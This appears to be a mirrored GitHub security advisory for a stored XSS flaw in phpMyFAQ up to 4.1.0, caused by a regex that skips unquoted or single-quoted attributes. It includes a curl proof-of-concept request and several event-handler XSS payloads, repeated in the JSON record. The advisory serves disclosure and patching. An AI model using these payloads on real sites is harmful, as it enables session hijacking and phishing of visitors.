GHSA-CV2G-8CJ8-VGC7

Vulnerability from github – Published: 2026-04-01 22:31 – Updated: 2026-04-06 17:18
VLAI?
Summary
phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()
Details

Summary

The sanitization pipeline for FAQ content is: 1. Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS) — encodes <, >, ", ', & to HTML entities 2. html_entity_decode($input, ENT_QUOTES | ENT_HTML5) — decodes entities back to characters 3. Filter::removeAttributes($input) — removes dangerous HTML attributes

The removeAttributes() regex at line 174 only matches attributes with double-quoted values:

preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);

This regex does NOT match: - Attributes with single quotes: onerror='alert(1)' - Attributes without quotes: onerror=alert(1)

An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174

Sanitization flow for FAQ question field:

FaqController::create() lines 110, 145-149:

$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
    (string) $question,
    ENT_QUOTES | ENT_HTML5,
    encoding: 'UTF-8',
)))

Template rendering: faq.twig line 36:

<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>

How the bypass works:

  1. Attacker submits: <img src=x onerror=alert(1)>
  2. After FILTER_SANITIZE_SPECIAL_CHARS: &lt;img src=x onerror=alert(1)&gt;
  3. After html_entity_decode(): <img src=x onerror=alert(1)>
  4. preg_match_all('/[a-z]+=".+"/iU', ...) runs:
  5. The regex requires ="..." (double quotes)
  6. onerror=alert(1) has NO quotes → NOT matched
  7. src=x has NO quotes → NOT matched
  8. No attributes are found for removal
  9. Output: <img src=x onerror=alert(1)> (XSS payload intact)
  10. Template renders with |raw: JavaScript executes in browser

Why double-quoted attributes are (partially) protected:

For <img src="x" onerror="alert(1)">: - The regex matches both src="x" and onerror="alert(1)" - src is in $keep → preserved - onerror is NOT in $keep → removed via str_replace() - Output: <img src="x"> (safe)

But this protection breaks with single quotes or no quotes.

PoC

Step 1: Create FAQ with XSS payload (requires authenticated admin):

curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=admin_session' \
  -d '{
    "data": {
      "pmf-csrf-token": "valid_csrf_token",
      "question": "<img src=x onerror=alert(document.cookie)>",
      "answer": "Test answer",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "test",
      "author": "test",
      "email": "test@test.com"
    }
  }'

Step 2: XSS triggers on public FAQ page

Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:

https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html

The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).

Alternative payloads:

<img/src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>

Impact

  • Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins.
  • Session hijacking: Steal session cookies of all users viewing the FAQ.
  • Phishing: Display fake login forms to steal credentials.
  • Worm propagation: Self-replicating XSS that creates new FAQs with the same payload.
  • Malware distribution: Redirect users to malicious sites.

Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34729"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T22:31:44Z",
    "nvd_published_at": "2026-04-02T15:16:42Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe sanitization pipeline for FAQ content is:\n1. `Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)` \u2014 encodes `\u003c`, `\u003e`, `\"`, `\u0027`, `\u0026` to HTML entities\n2. `html_entity_decode($input, ENT_QUOTES | ENT_HTML5)` \u2014 decodes entities back to characters\n3. `Filter::removeAttributes($input)` \u2014 removes dangerous HTML attributes\n\nThe `removeAttributes()` regex at line 174 only matches attributes with double-quoted values:\n```php\npreg_match_all(pattern: \u0027/[a-z]+=\".+\"/iU\u0027, subject: $html, matches: $attributes);\n```\n\nThis regex does NOT match:\n- Attributes with single quotes: `onerror=\u0027alert(1)\u0027`\n- Attributes without quotes: `onerror=alert(1)`\n\nAn attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Filter.php`, line 174\n\n**Sanitization flow for FAQ question field:**\n\n`FaqController::create()` lines 110, 145-149:\n```php\n$question = Filter::filterVar($data-\u003equestion, FILTER_SANITIZE_SPECIAL_CHARS);\n// ...\n-\u003esetQuestion(Filter::removeAttributes(html_entity_decode(\n    (string) $question,\n    ENT_QUOTES | ENT_HTML5,\n    encoding: \u0027UTF-8\u0027,\n)))\n```\n\n**Template rendering:** `faq.twig` line 36:\n```twig\n\u003ch2 class=\"mb-4 border-bottom\"\u003e{{ question | raw }}\u003c/h2\u003e\n```\n\n**How the bypass works:**\n\n1. Attacker submits: `\u003cimg src=x onerror=alert(1)\u003e`\n2. After `FILTER_SANITIZE_SPECIAL_CHARS`: `\u0026lt;img src=x onerror=alert(1)\u0026gt;`\n3. After `html_entity_decode()`: `\u003cimg src=x onerror=alert(1)\u003e`\n4. `preg_match_all(\u0027/[a-z]+=\".+\"/iU\u0027, ...)` runs:\n   - The regex requires `=\"...\"` (double quotes)\n   - `onerror=alert(1)` has NO quotes \u2192 NOT matched\n   - `src=x` has NO quotes \u2192 NOT matched\n   - No attributes are found for removal\n5. Output: `\u003cimg src=x onerror=alert(1)\u003e` (XSS payload intact)\n6. Template renders with `|raw`: JavaScript executes in browser\n\n**Why double-quoted attributes are (partially) protected:**\n\nFor `\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e`:\n- The regex matches both `src=\"x\"` and `onerror=\"alert(1)\"`\n- `src` is in `$keep` \u2192 preserved\n- `onerror` is NOT in `$keep` \u2192 removed via `str_replace()`\n- Output: `\u003cimg src=\"x\"\u003e` (safe)\n\nBut this protection breaks with single quotes or no quotes.\n\n### PoC\n\n**Step 1: Create FAQ with XSS payload (requires authenticated admin):**\n```bash\ncurl -X POST \u0027https://target.example.com/admin/api/faq/create\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Cookie: PHPSESSID=admin_session\u0027 \\\n  -d \u0027{\n    \"data\": {\n      \"pmf-csrf-token\": \"valid_csrf_token\",\n      \"question\": \"\u003cimg src=x onerror=alert(document.cookie)\u003e\",\n      \"answer\": \"Test answer\",\n      \"lang\": \"en\",\n      \"categories[]\": 1,\n      \"active\": \"yes\",\n      \"tags\": \"test\",\n      \"keywords\": \"test\",\n      \"author\": \"test\",\n      \"email\": \"test@test.com\"\n    }\n  }\u0027\n```\n\n**Step 2: XSS triggers on public FAQ page**\n\nAny user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:\n```\nhttps://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html\n```\n\nThe FAQ title is rendered with `|raw` in `faq.twig` line 36 without HtmlSanitizer processing (the `processQuestion()` method in `FaqDisplayService` only applies search highlighting, not `cleanUpContent()`).\n\n**Alternative payloads:**\n```html\n\u003cimg/src=x onerror=alert(1)\u003e\n\u003csvg onload=alert(1)\u003e\n\u003cdetails open ontoggle=alert(1)\u003e\n```\n\n### Impact\n\n- **Public XSS:** The XSS executes for ALL users viewing the FAQ page, not just admins.\n- **Session hijacking:** Steal session cookies of all users viewing the FAQ.\n- **Phishing:** Display fake login forms to steal credentials.\n- **Worm propagation:** Self-replicating XSS that creates new FAQs with the same payload.\n- **Malware distribution:** Redirect users to malicious sites.\n\n**Note:** While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.",
  "id": "GHSA-cv2g-8cj8-vgc7",
  "modified": "2026-04-06T17:18:46Z",
  "published": "2026-04-01T22:31:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-cv2g-8cj8-vgc7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34729"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…